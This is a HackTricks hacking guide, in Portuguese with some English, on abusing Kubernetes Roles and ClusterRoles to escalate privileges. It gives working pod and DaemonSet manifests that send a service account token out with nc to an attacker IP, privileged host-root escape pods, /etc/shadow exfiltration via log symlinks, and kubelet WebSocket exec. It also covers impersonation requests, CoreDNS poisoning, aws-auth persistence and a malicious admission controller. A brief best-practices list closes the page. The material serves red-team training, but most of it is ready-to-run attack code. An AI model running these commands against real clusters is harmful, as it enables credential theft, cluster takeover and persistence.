Abusando de Roles/ClusterRoles em Kubernetes

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Aqui você pode encontrar algumas configurações potencialmente perigosas de Roles e ClusterRoles.
Lembre-se que você pode obter todos os recursos suportados com kubectl api-resources

Privilege Escalation

Referindo-se à arte de obter acesso a um principal diferente dentro do cluster com privilégios diferentes (dentro do cluster Kubernetes ou para nuvens externas) do que aqueles que você já possui, em Kubernetes existem basicamente 4 técnicas principais para escalar privilégios:

  • Ser capaz de impersonate outros usuários/grupos/SAs com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas
  • Ser capaz de create/patch/exec pods onde você pode find or attach SAs com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas
  • Ser capaz de read secrets, já que os tokens das SAs são armazenados como secrets
  • Ser capaz de escape to the node a partir de um container, onde você pode roubar todos os secrets dos containers rodando no node, as credenciais do node, e as permissões do node dentro da nuvem em que está executando (se houver)
  • Uma quinta técnica que merece menção é a habilidade de run port-forward em um pod, pois você pode conseguir acessar recursos interessantes dentro desse pod.

Access Any Resource or Verb (Wildcard)

The wildcard (*) gives permission over any resource with any verb. It’s used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Acessar qualquer recurso com um verbo específico

No RBAC, certas permissões apresentam riscos significativos:

  1. create: Concede a habilidade de criar qualquer recurso do cluster, colocando em risco privilege escalation.
  2. list: Permite listar todos os recursos, potencialmente leaking sensitive data.
  3. get: Permite acessar secrets de service accounts, representando uma ameaça à segurança.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account, escalando efetivamente privilégios para ela

Exemplo de um pod que irá roubar o token da Service Account bootstrap-signer e enviá-lo ao atacante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

  • Acesso privilegiado (desabilitando proteções e definindo capabilities)
  • Desabilitar namespaces hostIPC e hostPid que podem ajudar a escalar privilégios
  • Desabilitar o namespace hostNetwork, dando acesso para roubar privilégios em cloud dos nodes e melhor acesso às redes
  • Montar o / do host dentro do container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Crie o pod com:

kubectl --token $token create -f mount_root.yaml

One-liner de this tweet e com algumas adições:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Agora que você pode escapar para o node, confira post-exploitation techniques em:

Stealth

Você provavelmente quer ser stealthier; nas páginas a seguir você pode ver o que seria capaz de acessar se criar um pod habilitando apenas alguns dos privilégios mencionados no template anterior:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Você pode encontrar exemplos de como criar/abusar as configurações de pods privilegiados anteriores em https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Se você puder criar um pod (e opcionalmente uma service account) pode ser capaz de obter privilégios in cloud environment atribuindo cloud roles a um pod ou a uma service account e então acessá-lo.
Além disso, se você puder criar um pod com o host network namespace você pode steal the IAM role da instância node.

Para mais informações veja:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

É possível abusar dessas permissões para criar um novo pod e escalar privilégios como no exemplo anterior.

O yaml a seguir creates a daemonset and exfiltrates the token of the SA inside the pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec é um recurso no kubernetes usado para executar comandos em um shell dentro de um pod. Isso permite executar comandos dentro dos containers ou obter um shell dentro.

Portanto, é possível entrar em um pod e roubar o token do SA, ou entrar em um pod privilegiado, escapar para o node, e roubar todos os tokens dos pods no node e (ab)usar o node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Por padrão o comando é executado no primeiro container do pod. Obtenha todos os containers em um pod com kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' e então indique o container onde quer executá-lo com kubectl exec -it <pod_name> -c <container_name> -- sh

Se for um container distroless você pode tentar usar shell builtins para obter info dos containers ou enviar suas próprias ferramentas como um busybox usando: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Essa permissão permite encaminhar uma porta local para uma porta no pod especificado. Isso serve para depurar aplicações rodando dentro de um pod facilmente, mas um atacante pode abusar dela para acessar aplicações interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Como indicado nesta pesquisa, se você conseguir acessar ou criar um pod com o hosts /var/log/ directory mounted nele, você pode escape from the container.
Isso acontece basicamente porque, quando a Kube-API tenta obter os logs de um container (usando kubectl logs <pod>), ela requests the 0.log file of the pod usando o endpoint /logs/ do serviço Kubelet.
O serviço Kubelet expõe o endpoint /logs/ que basicamente está expondo o filesystem /var/log do container.

Portanto, um atacante com acesso de escrita na pasta /var/log/ do container poderia abusar desse comportamento de 2 maneiras:

  • Modificar o arquivo 0.log do seu container (normalmente localizado em /var/logs/pods/namespace_pod_uid/container/0.log) para ser um symlink apontando para /etc/shadow, por exemplo. Assim, você poderá exfiltrar o arquivo shadow do host fazendo:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Se o atacante controla qualquer principal com as permissões para ler nodes/log, ele pode simplesmente criar um symlink em /host-mounted/var/log/sym para / e ao acessar https://<gateway>:10250/logs/sym/ ele listará o sistema de arquivos raiz do host (alterar o symlink pode fornecer acesso a arquivos).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Um laboratório e um exploit automatizado podem ser encontrados em https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Bypassing readOnly protection

Se você tiver sorte e a capability altamente privilegiada CAP_SYS_ADMIN estiver disponível, você pode simplesmente remontar o diretório como rw:

mount -o rw,remount /hostlogs/

Contornando a proteção readOnly do hostPath

Como descrito em this research é possível contornar a proteção:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Isso foi pensado para evitar escapes como os anteriores ao, em vez de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta hosts no container com acesso de escrita:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Personificando contas privilegiadas

Com o privilégio de user impersonation, um atacante poderia se passar por uma conta privilegiada.

Basta usar o parâmetro --as=<username> no comando kubectl para se passar por um usuário, ou --as-group=<group> para se passar por um grupo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ou use a REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listando secrets

A permissão para list secrets pode permitir que um atacante realmente leia os secrets acessando o REST API endpoint:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Criando e Lendo Secrets

Existe um tipo especial de secret do Kubernetes do tipo kubernetes.io/service-account-token que armazena tokens de serviceaccount. Se você tem permissões para criar e ler secrets, e também conhece o nome do serviceaccount, você pode criar um secret da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Exemplo de exploração:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Note que, se você tem permissão para criar e ler secrets em um determinado namespace, a serviceaccount vítima também deve estar nesse mesmo namespace.

Lendo um secret – brute-forcing token IDs

Embora um atacante em posse de um token com permissões de leitura precise do nome exato do secret para usá-lo, ao contrário da permissão mais ampla listing secrets, ainda existem vulnerabilidades. Os service accounts padrão no sistema podem ser enumerados, cada um associado a um secret. Esses secrets têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres), de acordo com o source code.

O token é gerado a partir de um conjunto limitado de 27 caracteres (bcdfghjklmnpqrstvwxz2456789), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14,348,907 (27^5). Consequentemente, um atacante poderia feasibly executar um ataque brute-force para deduzir o token em questão de horas, potencialmente levando a uma elevação de privilégios ao acessar service accounts sensíveis.

EncrpytionConfiguration em texto claro

É possível encontrar chaves em texto claro para criptografar dados at rest nesse tipo de objeto, como:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Solicitações de Assinatura de Certificado

Se você tiver o verbo create no recurso certificatesigningrequests (ou pelo menos em certificatesigningrequests/nodeClient), você pode criar um novo CeSR de um novo nó.

De acordo com a documentation it’s possible to auto approve this requests, então nesse caso você não precisa de permissões extras. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa update em certificatesigningrequests/approval e approve em signers com resourceName <signerNameDomain>/<signerNamePath> ou <signerNameDomain>/*

Um exemplo de role com todas as permissões necessárias é:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Então, com o novo node CSR aprovado, você pode abuse as permissões especiais dos nodes para steal secrets e escalate privileges.

In this post and this one a configuração GKE K8s TLS Bootstrap está configurada com automatic signing e é abusada para gerar credentials de um novo K8s Node e então abusar desses para escalate privileges by stealing secrets.
Se você have the mentioned privileges you could do the same thing. Observe que o primeiro exemplo contorna o erro que impede um novo node de acessar secrets dentro dos containers porque um node can only access the secrets of containers mounted on it.

A forma de contornar isso é simplesmente create a node credentials for the node name where the container with the interesting secrets is mounted (but just check how to do it in the first post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Principals que podem modificar configmaps no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster sobrescrevendo o configmap aws-auth.
Os verbos necessários são update e patch, ou create se o configmap não tiver sido criado:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Você pode usar aws-auth para persistência, dando acesso a usuários de outras contas.

Porém, aws --profile other_account eks update-kubeconfig --name <cluster-name> não funciona a partir de outra conta. Mas na verdade aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funciona se você colocar o ARN do cluster em vez do nome.
Para fazer o kubectl funcionar, basta certificar-se de configurar o kubeconfig da vítima e nos argumentos do aws exec adicionar --profile other_account_role para que o kubectl use o profile da outra conta para obter o token e contatar a AWS.

ConfigMap do CoreDNS

Se você tem permissões para modificar o coredns configmap no namespace kube-system, você pode alterar os endereços para os quais domínios serão resolvidos, de modo a possibilitar ataques MitM para roubar informações sensíveis ou injetar conteúdo malicioso.

Os verbos necessários são update e patch no coredns configmap (ou em todos os config maps).

Um arquivo do CoreDNS comum contém algo como isto:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Um atacante poderia baixá-lo executando kubectl get configmap coredns -n kube-system -o yaml, modificá-lo adicionando algo como rewrite name victim.com attacker.com para que sempre que victim.com for acessado, na verdade attacker.com seja o domínio acessado. E então aplicá-lo executando kubectl apply -f poison_dns.yaml.

Outra opção é simplesmente editar o arquivo executando kubectl edit configmap coredns -n kube-system e fazer as alterações.

Escalating in GKE

Existem 2 maneiras de atribuir permissões K8s a principals do GCP. Em qualquer caso, o principal também precisa da permissão container.clusters.get para conseguir coletar credenciais para acessar o cluster, ou você precisará gerar seu próprio arquivo de configuração do kubectl (siga o link a seguir).

Warning

Ao comunicar-se com o endpoint da API do K8s, o token de autenticação do GCP será enviado. Então, o GCP, através do endpoint da API do K8s, primeiro verificará se o principal (pelo email) tem algum acesso dentro do cluster, depois verificará se tem qualquer acesso via GCP IAM.
Se qualquer uma dessas for verdadeira, será respondido. Se não, será retornado um erro sugerindo conceder permissões via GCP IAM.

Então, o primeiro método é usar GCP IAM; as permissões do K8s têm suas equivalentes em GCP IAM, e se o principal as possuir, poderá usá-las.

GCP - Container Privesc

O segundo método é atribuir permissões K8s dentro do cluster identificando o usuário pelo seu email (incluindo service accounts do GCP).

Create serviceaccounts token

Entidades que podem create TokenRequests (serviceaccounts/token) ao comunicar-se com o endpoint da API do K8s SAs (info from here).

ephemeralcontainers

Entidades que podem update ou patch pods/ephemeralcontainers podem obter execução de código em outros pods, e potencialmente escapar para seu node adicionando um ephemeral container com um securityContext privilegiado

ValidatingWebhookConfigurations ou MutatingWebhookConfigurations

Entidades com qualquer um dos verbos create, update ou patch sobre validatingwebhookconfigurations ou mutatingwebhookconfigurations podem ser capazes de criar uma dessas webhookconfigurations para poder escalar privilégios.

For a mutatingwebhookconfigurations example check this section of this post.

Escalate

As you can read in the next section: Built-in Privileged Escalation Prevention, um principal não pode nem atualizar nem criar roles ou clusterroles sem ele mesmo possuir essas novas permissões. Exceto se ele tiver o verbo escalate ou * sobre roles ou clusterroles e as respectivas opções de binding.
Então ele pode atualizar/criar novos roles, clusterroles com permissões superiores às que possui.

Nodes proxy

Entidades com acesso ao subrecurso nodes/proxy podem executar código em pods via a API do Kubelet (de acordo com this). Mais informações sobre autenticação do Kubelet nesta página:

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion

  • O Kubelet mapeia métodos HTTP para verbos RBAC antes do upgrade de protocolo. WebSocket handshakes devem começar com HTTP GET (Connection: Upgrade), então /exec via WebSocket é verificado como verbo get ao invés do esperado create.
  • /exec, /run, /attach, e /portforward não são mapeados explicitamente e caem no subrecurso padrão proxy, então a questão de autorização torna-se can <user> get nodes/proxy?
  • Se um token tiver apenas nodes/proxy + get, o acesso direto via WebSocket ao kubelet em https://<node_ip>:10250 permite execução arbitrária de comandos em qualquer pod naquele node. A mesma requisição via o caminho de proxy do API server (/api/v1/nodes/<node>/proxy/exec/...) é negada porque é um POST HTTP normal e mapeia para create.
  • O kubelet não realiza uma segunda autorização após o upgrade do WebSocket; apenas o GET inicial é avaliado.

Direct exploit (requires network reachability to the kubelet and a token with nodes/proxy GET):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • Use the Node IP, not the node name. The same request with curl -X POST will be Forbidden because it maps to create.
  • O acesso direto ao kubelet contorna o API server, então o AuditPolicy mostra apenas subjectaccessreviews do kubelet user agent e não registra comandos pods/exec.
  • Enumere os service accounts afetados com o detection script para encontrar tokens limitados a nodes/proxy GET.

Delete pods + unschedulable nodes

Identidades que podem delete pods (delete verb over pods resource), ou evict pods (create verb over pods/eviction resource), ou change pod status (acesso a pods/status) e que podem make other nodes unschedulable (acesso a nodes/status) ou delete nodes (delete verb over nodes resource) e têm controle sobre um pod, podem steal pods from other nodes para que estes sejam executed no compromised node e o atacante possa steal the tokens desses pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status de services (CVE-2020-8554)

Entidades que podem modificar services/status podem definir o campo status.loadBalancer.ingress.ip para explorar o CVE-2020-8554 não corrigido e lançar ataques MiTM contra o cluster. A maioria das mitigações para o CVE-2020-8554 apenas evita serviços ExternalIP (de acordo com this).

Status de nodes e pods

Entidades com permissões update ou patch sobre nodes/status ou pods/status podem modificar rótulos para afetar restrições de agendamento aplicadas.

Prevenção embutida de escalada de privilégios

Kubernetes tem um mecanismo embutido para prevenir escalada de privilégios.

Esse sistema garante que os usuários não possam elevar seus privilégios modificando roles ou role bindings. A aplicação dessa regra ocorre no nível da API, oferecendo uma salvaguarda mesmo quando o autorizador RBAC está inativo.

A regra estipula que um usuário só pode criar ou atualizar um role se possuir todas as permissões que o role compreende. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o do role que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou confinado ao mesmo namespace (ou em todo o cluster) para Roles.

Warning

Há uma exceção à regra anterior. Se um principal tiver o verbo escalate sobre roles ou clusterroles ele pode aumentar os privilégios de roles e clusterroles mesmo sem possuir as permissões ele próprio.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

Aparentemente essa técnica funcionou antes, mas de acordo com meus testes não está mais funcionando pelo mesmo motivo explicado na seção anterior. Você não pode criar/modificar um rolebinding para se dar (ou dar a uma SA diferente) alguns privilégios se você já não os possuir.

O privilégio de criar Rolebindings permite que um usuário vincule roles a uma service account. Esse privilégio pode potencialmente levar à escalada de privilégios porque permite ao usuário vincular privilégios de admin a uma service account comprometida.

Outros Ataques

Sidecar proxy app

Por padrão não há nenhuma criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod para pod.

Criar um sidecar proxy app

Um container sidecar consiste simplesmente em adicionar um segundo (ou mais) container dentro de um pod.

Por exemplo, o seguinte é parte da configuração de um pod com 2 containers:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Por exemplo, para inserir uma backdoor em um pod existente com um novo container, você poderia simplesmente adicionar um novo container na especificação. Note que você poderia dar mais permissões ao segundo container do que o primeiro não teria.

Mais informações em: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Admission Controller Malicioso

Um admission controller intercepta requisições para o Kubernetes API server antes da persistência do objeto, mas depois que a requisição é autenticada e autorizada.

Se um atacante de alguma forma conseguir injetar um Mutation Admission Controller, ele será capaz de modificar requisições já autenticadas. Isso pode possibilitar privesc e, mais comumente, persistir no cluster.

Exemplo de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Verifique o status para ver se está pronto:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Em seguida, crie um novo pod:

kubectl run nginx --image nginx
kubectl get po -w

Quando você vir o erro ErrImagePull, verifique o nome da imagem com uma das consultas:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Como você pode ver na imagem acima, tentamos executar a imagem nginx, mas a imagem finalmente executada foi rewanthtammana/malicious-image. O que aconteceu!?

Detalhes técnicos

O script ./deploy.sh instala um mutating webhook admission controller, que altera as requisições à Kubernetes API conforme especificado nas suas linhas de configuração, causando os resultados observados:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

O trecho acima substitui a primeira imagem do container em cada pod por rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Boas práticas

Desativar montagem automática de tokens de Service Account

  • Pods e Service Accounts: Por padrão, os pods montam um service account token. Para aumentar a segurança, o Kubernetes permite a desabilitação dessa montagem automática.
  • Como aplicar: Defina automountServiceAccountToken: false na configuração de service accounts ou pods a partir da versão Kubernetes 1.6.

Atribuição restritiva de usuários em RoleBindings/ClusterRoleBindings

  • Inclusão seletiva: Garanta que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança restrita.

Roles específicas de namespace em vez de Roles em todo o cluster

  • Roles vs. ClusterRoles: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam ao cluster inteiro. Essa abordagem oferece controle mais refinado e limita o escopo das permissões.

Use ferramentas automatizadas

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks